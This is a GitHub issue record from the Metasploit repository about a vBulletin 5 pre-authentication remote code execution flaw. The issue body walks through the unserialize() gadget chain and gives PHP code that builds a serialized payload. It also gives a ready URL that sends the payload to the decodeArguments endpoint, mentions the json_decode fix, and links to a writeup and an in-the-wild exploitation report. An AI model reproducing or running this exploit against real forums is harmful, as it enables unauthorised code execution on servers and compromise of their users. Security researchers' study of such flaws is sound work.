{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6192","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6192/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6192/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6192/events","html_url":"https://github.com/rapid7/metasploit-framework/issues/6192","id":115302086,"number":6192,"title":"vBulletin PreAuth 0day Remote Code Execution Exploit","user":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/feature","name":"feature","color":"bfe5bf"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":2,"created_at":"2015-11-05T15:00:22Z","updated_at":"2015-11-05T15:42:59Z","closed_at":null,"body":"@madmike33 writes:\r\n\r\nHello, i was wondering when will this msf module will be released.\r\nExploit Code: \r\n\r\n```\r\nvBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:\r\n\tpublic function decodeArguments($arguments)\r\n\t{\r\n\t\tif ($args = @unserialize($arguments))\r\n\t\t{\r\n\t\t\t$result = '';\r\n\r\n\t\t\tforeach ($args AS $varname => $value)\r\n\t\t\t{\r\n\t\t\t\t$result .= $varname;\r\n```\r\nApart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:\r\n```\r\nclass vB_dB_Result implements Iterator\r\n{\r\n...\r\n\tpublic function rewind()\r\n\t{\r\n\t\t//no need to rerun the query if we are at the beginning of the recordset.\r\n\t\tif ($this->bof)\r\n\t\t{\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tif ($this->recordset)\r\n\t\t{\r\n\t\t\t$this->db->free_result($this->recordset);\r\n\t\t}\r\n```\r\n\r\nrewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:\r\n```\r\nabstract class vB_Database\r\n{\r\n...\t\r\n\tfunction free_result($queryresult)\r\n\t{\r\n\t\t$this->sql = '';\r\n\t\treturn @$this->functions['free_result']($queryresult);\r\n\t}\r\n```\r\nWhich gives easy RCE. Setup objects accordingly:\r\n```\r\n$ php << 'eof'\r\n<?php\r\nclass vB_Database {\r\n       public $functions = array();\r\n\r\n       public function __construct() \r\n       {\r\n               $this->functions['free_result'] = 'phpinfo';\r\n       }\r\n}\r\n\r\nclass vB_dB_Result {\r\n       protected $db;\r\n       protected $recordset;\r\n\r\n       public function __construct()\r\n       {\r\n               $this->db = new vB_Database();\r\n               $this->recordset = 1;\r\n       }\r\n}\r\n\r\nprint urlencode(serialize(new vB_dB_Result())) . \"\\n\";\r\neof\r\nO%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D\r\n```\r\n\r\nJust surf to:\r\n```\r\nhttp://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D\r\n```\r\n\r\nThe fix was just replacing the unserialize() with json_decode(). \r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/154097616","html_url":"https://github.com/rapid7/metasploit-framework/issues/6192#issuecomment-154097616","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6192","id":154097616,"user":{"login":"all3g","id":7352479,"avatar_url":"https://avatars.githubusercontent.com/u/7352479?v=3","gravatar_id":"","url":"https://api.github.com/users/all3g","html_url":"https://github.com/all3g","followers_url":"https://api.github.com/users/all3g/followers","following_url":"https://api.github.com/users/all3g/following{/other_user}","gists_url":"https://api.github.com/users/all3g/gists{/gist_id}","starred_url":"https://api.github.com/users/all3g/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/all3g/subscriptions","organizations_url":"https://api.github.com/users/all3g/orgs","repos_url":"https://api.github.com/users/all3g/repos","events_url":"https://api.github.com/users/all3g/events{/privacy}","received_events_url":"https://api.github.com/users/all3g/received_events","type":"User","site_admin":false},"created_at":"2015-11-05T15:42:58Z","updated_at":"2015-11-05T15:42:58Z","body":"- [vBulletin 5 PreAuth RCE writeup](http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq)\r\n- [vBulletin Exploits in the Wild](https://blog.sucuri.net/2015/11/vbulletin-exploits-in-the-wild.html)"}}